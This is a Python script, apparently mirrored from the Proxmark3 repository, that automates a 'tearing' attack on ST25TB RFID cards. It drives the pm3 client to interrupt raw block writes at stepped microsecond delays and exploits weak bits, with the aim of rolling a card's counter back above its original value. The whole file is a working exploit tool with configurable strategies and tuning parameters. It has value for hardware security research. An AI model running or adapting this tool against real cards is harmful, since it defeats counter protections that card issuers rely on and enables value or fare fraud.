mirror of
https://github.com/RfidResearchGroup/proxmark3.git
synced 2024-11-04 12:40:23 -08:00
553 lines
16 KiB
Python
Executable File
553 lines
16 KiB
Python
Executable File
#!/usr/bin/env python3
|
|
# -*- coding: utf-8 -*-
|
|
|
|
#+---------------------------------------------------------------------------+
|
|
#| Tears For Fears : Utilities for reverting counters of ST25TB* cards |
|
|
#+---------------------------------------------------------------------------+
|
|
#| Copyright (C) Pierre Granier - 2024 |
|
|
#| |
|
|
#| This program is free software: you can redistribute it and/or modify |
|
|
#| it under the terms of the GNU General Public License as published by |
|
|
#| the Free Software Foundation, either version 3 of the License, or |
|
|
#| (at your option) any later version. |
|
|
#| |
|
|
#| This program is distributed in the hope that it will be useful, |
|
|
#| but WITHOUT ANY WARRANTY; without even the implied warranty of |
|
|
#| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
|
|
#| GNU General Public License for more details. |
|
|
#| |
|
|
#| You should have received a copy of the GNU General Public License |
|
|
#| along with this program. If not, see <http://www.gnu.org/licenses/>. |
|
|
#+---------------------------------------------------------------------------+
|
|
#
|
|
# Ref:
|
|
# https://gitlab.com/SiliconOtter/tears4fears
|
|
#
|
|
|
|
import argparse
|
|
from queue import Queue, Empty
|
|
import re
|
|
from subprocess import Popen, PIPE
|
|
from time import sleep
|
|
from threading import Thread
|
|
|
|
PM3_SUBPROC = None
|
|
PM3_SUBPROC_QUEUE = None
|
|
|
|
|
|
class colors:
|
|
|
|
reset = '\033[0m'
|
|
bold = '\033[01m'
|
|
disable = '\033[02m'
|
|
underline = '\033[04m'
|
|
reverse = '\033[07m'
|
|
strikethrough = '\033[09m'
|
|
invisible = '\033[08m'
|
|
|
|
purple = '\033[35m'
|
|
red = '\033[31m'
|
|
green = '\033[32m'
|
|
blue = '\033[34m'
|
|
lightred = '\033[91m'
|
|
lightgreen = '\033[92m'
|
|
lightblue = '\033[94m'
|
|
|
|
|
|
def main():
|
|
|
|
global PM3_SUBPROC
|
|
global PM3_SUBPROC_QUEUE
|
|
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument("-s",
|
|
"--strat",
|
|
type=int,
|
|
nargs="?",
|
|
const="1",
|
|
default="1",
|
|
dest="strategy",
|
|
help="Strategy to use (default 1)")
|
|
parser.add_argument("-b",
|
|
"--block",
|
|
type=int,
|
|
nargs="?",
|
|
const="-1",
|
|
default="-1",
|
|
required=True,
|
|
dest="target_block",
|
|
help="Target Block")
|
|
parser.add_argument("-p",
|
|
"--pm3-client",
|
|
type=str,
|
|
default="pm3",
|
|
dest="pm3_path",
|
|
help="pm3 client path")
|
|
|
|
args = parser.parse_args()
|
|
|
|
PM3_SUBPROC = Popen([args.pm3_path, "-i", "-f"], stdin=PIPE, stdout=PIPE)
|
|
PM3_SUBPROC_QUEUE = Queue()
|
|
|
|
thread = Thread(target=enqueue_output, args=(PM3_SUBPROC.stdout, PM3_SUBPROC_QUEUE))
|
|
thread.start()
|
|
|
|
if args.target_block != -1:
|
|
tear_for_fears(args.target_block, args.strategy)
|
|
else:
|
|
parser.error("--block is required ")
|
|
|
|
sub_com('exit')
|
|
thread.join()
|
|
|
|
|
|
def enqueue_output(out, queue):
|
|
"""Continuously read PM3 client stdout and fill a global queue
|
|
|
|
Args:
|
|
out: stdout of PM3 client
|
|
queue: where to push "out" content
|
|
"""
|
|
for line in iter(out.readline, b""):
|
|
queue.put(line)
|
|
out.close()
|
|
|
|
|
|
def sub_com(command, func=None, sleep_over=0):
|
|
"""Send command to aPM3 client
|
|
|
|
Args:
|
|
command: String of the command to send
|
|
func: hook for a parsing function on the pm3 command end
|
|
|
|
Returns:
|
|
result of the hooked function if any
|
|
"""
|
|
global PM3_SUBPROC
|
|
global PM3_SUBPROC_QUEUE
|
|
|
|
result = None
|
|
|
|
sleep(sleep_over)
|
|
|
|
PM3_SUBPROC.stdin.write(bytes((command + "\n").encode("ascii")))
|
|
PM3_SUBPROC.stdin.flush()
|
|
if func:
|
|
while not result:
|
|
try:
|
|
result = func(str(PM3_SUBPROC_QUEUE.get(timeout=.5)))
|
|
except Empty:
|
|
PM3_SUBPROC.stdin.write(bytes(
|
|
(command + "\n").encode("ascii")))
|
|
PM3_SUBPROC.stdin.flush()
|
|
|
|
return result
|
|
|
|
|
|
def set_space(space):
|
|
"""Placeholder for instrumentalization or do it manually
|
|
|
|
Args:
|
|
space: distance needed
|
|
|
|
Returns:
|
|
"""
|
|
input(f"\nSet Reader <-> Card distance to {space} and press enter : \n")
|
|
|
|
|
|
def parse_rdbl(str_to_parse):
|
|
"""Return a list of str of a block from pm3 output
|
|
Uses `rbdl` in pm3 client
|
|
|
|
Args:
|
|
str_to_parse: string to parse
|
|
|
|
Returns:
|
|
string list
|
|
"""
|
|
tmp = re.search(r"block \d*\.\.\. ([0-9a-fA-F]{2} ){4}", str_to_parse)
|
|
if tmp:
|
|
# print(tmp)
|
|
return re.findall(r"[0-9a-fA-F]{2}", tmp.group(0).split("... ")[1])
|
|
return None
|
|
|
|
|
|
def parse_UID(str_to_parse):
|
|
"""Return a card UID from pm3 output
|
|
|
|
Args:
|
|
str_to_parse: string to parse
|
|
|
|
Returns:
|
|
string list
|
|
"""
|
|
tmp = re.search(r"UID: ([0-9a-fA-F]{2} )*", str_to_parse)
|
|
if tmp:
|
|
return re.findall(r"[0-9a-fA-F]{2}", tmp.group(0).split(": ")[1])
|
|
return None
|
|
|
|
|
|
def slist_to_int(list_source):
|
|
"""Return the int value associated to a bloc list of string
|
|
|
|
Args:
|
|
list_source: list to convert
|
|
|
|
Returns:
|
|
represented int
|
|
"""
|
|
return ((int(list_source[3], 16) << 24) + (int(list_source[2], 16) << 16) +
|
|
(int(list_source[1], 16) << 8) + int(list_source[0], 16))
|
|
|
|
|
|
def int_to_slist(src):
|
|
"""Return the list of string from the int value associated to a block
|
|
|
|
Args:
|
|
src: int to convert
|
|
|
|
Returns:
|
|
list of string
|
|
"""
|
|
list_dest = list()
|
|
for i in range(4):
|
|
list_dest.append(hex((src >> (8 * i)) & 255)[2:].zfill(2).upper())
|
|
return list_dest
|
|
|
|
|
|
def ponderated_read(b_num, repeat_read, sleep_over):
|
|
"""read a few times a block and give a pondered dictionary
|
|
|
|
Args:
|
|
b_num: block number to read
|
|
|
|
Returns:
|
|
dictionary (key: int, value: number of occurrences)
|
|
"""
|
|
weight_r = dict()
|
|
|
|
for _ in range(repeat_read):
|
|
# sleep_over=0 favorize read at 0
|
|
# (and allow early discovery of weak bits)
|
|
result = slist_to_int(
|
|
sub_com(f"hf 14b rdbl -b {b_num}",
|
|
parse_rdbl,
|
|
sleep_over=sleep_over))
|
|
if result in weight_r:
|
|
weight_r[result] += 1
|
|
else:
|
|
weight_r[result] = 1
|
|
|
|
return weight_r
|
|
|
|
|
|
def exploit_weak_bit(b_num, original_value, repeat_read, sleep_over):
|
|
"""
|
|
|
|
Args:
|
|
b_num: block number
|
|
stop: last tearing timing
|
|
|
|
"""
|
|
# Sending RAW writes because `wrbl` spend additionnal time checking success
|
|
cmd_wrb = f"hf 14b raw --sr --crc -d 09{hex(b_num)[2:].rjust(2, '0')}"
|
|
|
|
set_space(1)
|
|
dic = ponderated_read(b_num, repeat_read, sleep_over)
|
|
|
|
for value, occur in dic.items():
|
|
|
|
indic = colors.reset
|
|
|
|
if value > original_value:
|
|
indic = colors.purple
|
|
|
|
elif value < original_value:
|
|
indic = colors.lightblue
|
|
|
|
print(
|
|
f"{(occur / repeat_read) * 100} %"
|
|
f" : {indic}{''.join(map(str,int_to_slist(value)))}{colors.reset}"
|
|
f" : {indic}{str(bin(value))[2:].zfill(32)}{colors.reset}")
|
|
|
|
target = max(dic)
|
|
|
|
read_back = 0
|
|
|
|
# There is no ACK for write so we use a read to check distance coherence
|
|
if target > (original_value):
|
|
|
|
print(f"\n{colors.bold}Trying to consolidate.{colors.reset}"
|
|
f"\nKeep card at the max distance from the reader.\n")
|
|
|
|
while (read_back != (target - 1)):
|
|
print(f"{colors.bold}Writing :{colors.reset}"
|
|
f" {''.join(map(str,int_to_slist(target - 1)))}")
|
|
sub_com(f"{cmd_wrb}{''.join(map(str,int_to_slist(target - 1)))}")
|
|
read_back = slist_to_int(
|
|
sub_com(f"hf 14b rdbl -b {b_num}", parse_rdbl))
|
|
|
|
while (read_back != (target - 2)):
|
|
print(f"{colors.bold}Writing :{colors.reset}"
|
|
f" {''.join(map(str,int_to_slist(target - 2)))}")
|
|
sub_com(f"{cmd_wrb}{''.join(map(str,int_to_slist(target - 2)))}")
|
|
read_back = slist_to_int(
|
|
sub_com(f"hf 14b rdbl -b {b_num}", parse_rdbl))
|
|
|
|
set_space(0)
|
|
|
|
|
|
def strat_1_values(original_value):
|
|
"""return payload and trigger value depending on original_value
|
|
follow strategy 1 rules
|
|
|
|
Args:
|
|
original_value: starting value before exploit
|
|
|
|
Returns:
|
|
(payload_value, trigger_value) if possible
|
|
None otherwise
|
|
"""
|
|
high1bound = 30
|
|
|
|
# Check for leverageable bits positions,
|
|
# Start from bit 32, while their is no bit at 1 decrement position
|
|
while ((original_value & (0b11 << high1bound)) != (0b11 << high1bound)):
|
|
high1bound -= 1
|
|
if high1bound < 1:
|
|
# No bits can be used as leverage
|
|
return None
|
|
|
|
low1bound = high1bound
|
|
|
|
# We found a suitable pair of bits at 1,
|
|
# While their is bits at 1, decrement position
|
|
while ((original_value & (0b11 << low1bound)) == (0b11 << low1bound)):
|
|
low1bound -= 1
|
|
if low1bound < 1:
|
|
# No bits can be reset
|
|
return None
|
|
|
|
trigger_value = (0b01 << (low1bound + 1)) ^ (2**(high1bound + 2) - 1)
|
|
payload_value = (0b10 << (low1bound + 1)) ^ (2**(high1bound + 2) - 1)
|
|
|
|
return (trigger_value, payload_value)
|
|
|
|
|
|
def strat_2_values(original_value):
|
|
"""return payload and trigger value depending on original_value
|
|
follow strategy 2 rules
|
|
|
|
Args:
|
|
original_value: starting value before exploit
|
|
|
|
Returns:
|
|
(payload_value, trigger_value) if possible
|
|
None otherwise
|
|
"""
|
|
high1bound = 31
|
|
|
|
# Check for leverageable bit position,
|
|
# Start from bit 32, while their is no bit at 1 decrement position
|
|
while not (original_value & (0b1 << high1bound)):
|
|
high1bound -= 1
|
|
if high1bound < 1:
|
|
# No bits can be used as leverage
|
|
return None
|
|
|
|
low1bound = high1bound
|
|
|
|
# We found a suitable bit at 1,
|
|
# While their is bits at 1, decrement position
|
|
while (original_value & (0b1 << low1bound)):
|
|
low1bound -= 1
|
|
if low1bound < 1:
|
|
# No bits can be reset
|
|
return None
|
|
|
|
trigger_value = (0b1 << (low1bound + 1)) ^ (2**(high1bound + 1) - 1)
|
|
payload_value = trigger_value ^ (2**min(low1bound, 4) - 1)
|
|
|
|
return (trigger_value, payload_value)
|
|
|
|
|
|
def tear_for_fears(b_num, strategy):
|
|
"""try to roll back `b_num` counter using `strategy`
|
|
|
|
Args:
|
|
b_num: block number
|
|
"""
|
|
|
|
################################################################
|
|
######### You may want to play with theses parameters #########
|
|
start_taring_delay = 130
|
|
|
|
repeat_read = 8
|
|
repeat_write = 5
|
|
|
|
sleep_quick = 0
|
|
sleep_long = 0.3
|
|
################################################################
|
|
|
|
cmd_wrb = f"hf 14b raw --sr --crc -d 09{hex(b_num)[2:].rjust(2, '0')}"
|
|
|
|
print(f"UID: { ''.join(map(str,sub_com('hf 14b info ', parse_UID)))}\n")
|
|
|
|
tmp = ponderated_read(b_num, repeat_read, sleep_long)
|
|
original_value = max(tmp, key=tmp.get)
|
|
|
|
if strategy == 1:
|
|
leverageable_values = strat_1_values(original_value)
|
|
else:
|
|
leverageable_values = strat_2_values(original_value)
|
|
|
|
if leverageable_values is None:
|
|
print(
|
|
f"\n{colors.bold}No bits usable for leverage{colors.reset}\n"
|
|
f"Current value : {''.join(map(str,int_to_slist(original_value)))}"
|
|
f" : { bin(original_value)[2:].zfill(32)}")
|
|
return
|
|
|
|
else:
|
|
(trigger_value, payload_value) = leverageable_values
|
|
|
|
print(f"Initial Value : {''.join(map(str,int_to_slist(original_value)))}"
|
|
f" : { bin(original_value)[2:].zfill(32)}")
|
|
print(f"Trigger Value : {''.join(map(str,int_to_slist(trigger_value)))}"
|
|
f" : { bin(trigger_value)[2:].zfill(32)}")
|
|
print(f"Payload Value : {''.join(map(str,int_to_slist(payload_value)))}"
|
|
f" : { bin(payload_value)[2:].zfill(32)}\n")
|
|
|
|
print(
|
|
f"{colors.bold}Color coding :{colors.reset}\n"
|
|
f"{colors.reset}\tValue we started with{colors.reset}\n"
|
|
f"{colors.green}\tTarget value (trigger|payload){colors.reset}\n"
|
|
f"{colors.lightblue}\tBelow target value (trigger|payload){colors.reset}\n"
|
|
f"{colors.lightred}\tAbove target value (trigger|payload){colors.reset}\n"
|
|
f"{colors.purple}\tAbove initial value {colors.reset}")
|
|
|
|
if input(f"\n{colors.bold}Good ? Y/n : {colors.reset}") == "n":
|
|
return
|
|
|
|
trigger_flag = False
|
|
payload_flag = False
|
|
t4fears_flag = False
|
|
|
|
print(f"\n{colors.bold}Write and tear trigger value : {colors.reset}"
|
|
f"{''.join(map(str,int_to_slist(trigger_value)))}\n")
|
|
|
|
tear_us = start_taring_delay
|
|
|
|
while not trigger_flag:
|
|
|
|
for _ in range(repeat_write):
|
|
|
|
if t4fears_flag:
|
|
exploit_weak_bit(b_num, original_value, repeat_read,
|
|
sleep_long)
|
|
|
|
if trigger_flag:
|
|
break
|
|
|
|
sub_com(
|
|
f"hw tearoff --delay {tear_us} --on ; "
|
|
f"{cmd_wrb}{''.join(map(str, int_to_slist(trigger_value)))}")
|
|
|
|
preamb = f"Tear timing = {tear_us:02d} us : "
|
|
print(preamb, end="")
|
|
|
|
trigger_flag = True
|
|
|
|
for value, occur in ponderated_read(b_num, repeat_read,
|
|
sleep_quick).items():
|
|
|
|
indic = colors.reset
|
|
# Here we want 100% chance of having primed one sub-counter
|
|
# The logic is inverted for payload
|
|
if value > original_value:
|
|
indic = colors.purple
|
|
t4fears_flag = True
|
|
trigger_flag = False
|
|
|
|
elif value == trigger_value:
|
|
indic = colors.green
|
|
|
|
elif value < original_value:
|
|
indic = colors.lightblue
|
|
|
|
else:
|
|
trigger_flag = False
|
|
|
|
print(
|
|
f"{(occur / repeat_read) * 100:3.0f} %"
|
|
f" : {indic}{''.join(map(str,int_to_slist(value)))}"
|
|
f"{colors.reset} : {indic}"
|
|
f"{str(bin(value))[2:].zfill(32)}{colors.reset}",
|
|
end=f"\n{' ' * len(preamb)}")
|
|
|
|
print()
|
|
|
|
tear_us += 1
|
|
|
|
print(f"\n{colors.bold}Write and tear payload value : {colors.reset}"
|
|
f"{''.join(map(str,int_to_slist(payload_value)))}\n")
|
|
|
|
tear_us = start_taring_delay
|
|
|
|
while True:
|
|
|
|
for _ in range(repeat_write):
|
|
|
|
if payload_flag:
|
|
|
|
exploit_weak_bit(b_num, original_value, repeat_read,
|
|
sleep_long)
|
|
|
|
tmp = ponderated_read(b_num, repeat_read, sleep_long)
|
|
if max(tmp, key=tmp.get) > original_value:
|
|
print(f"{colors.bold}Success ! {colors.reset}")
|
|
return
|
|
else:
|
|
payload_flag = False
|
|
|
|
sub_com(
|
|
f"hw tearoff --delay {tear_us} --on ; "
|
|
f"{cmd_wrb}{''.join(map(str, int_to_slist(payload_value)))}")
|
|
|
|
preamb = f"Tear timing = {tear_us:02d} us : "
|
|
print(preamb, end="")
|
|
|
|
for value, occur in ponderated_read(b_num, repeat_read,
|
|
sleep_quick).items():
|
|
|
|
indic = colors.reset
|
|
|
|
if value > original_value:
|
|
indic = colors.purple
|
|
payload_flag = True
|
|
|
|
elif value == payload_value:
|
|
indic = colors.green
|
|
payload_flag = True
|
|
|
|
elif value < trigger_value:
|
|
indic = colors.lightblue
|
|
|
|
elif value > trigger_value:
|
|
indic = colors.lightred
|
|
|
|
print(
|
|
f"{(occur / repeat_read) * 100:3.0f} %"
|
|
f" : {indic}{''.join(map(str,int_to_slist(value)))}"
|
|
f"{colors.reset} : {indic}"
|
|
f"{str(bin(value))[2:].zfill(32)}{colors.reset}",
|
|
end=f"\n{' ' * len(preamb)}")
|
|
|
|
print()
|
|
|
|
tear_us += 1
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|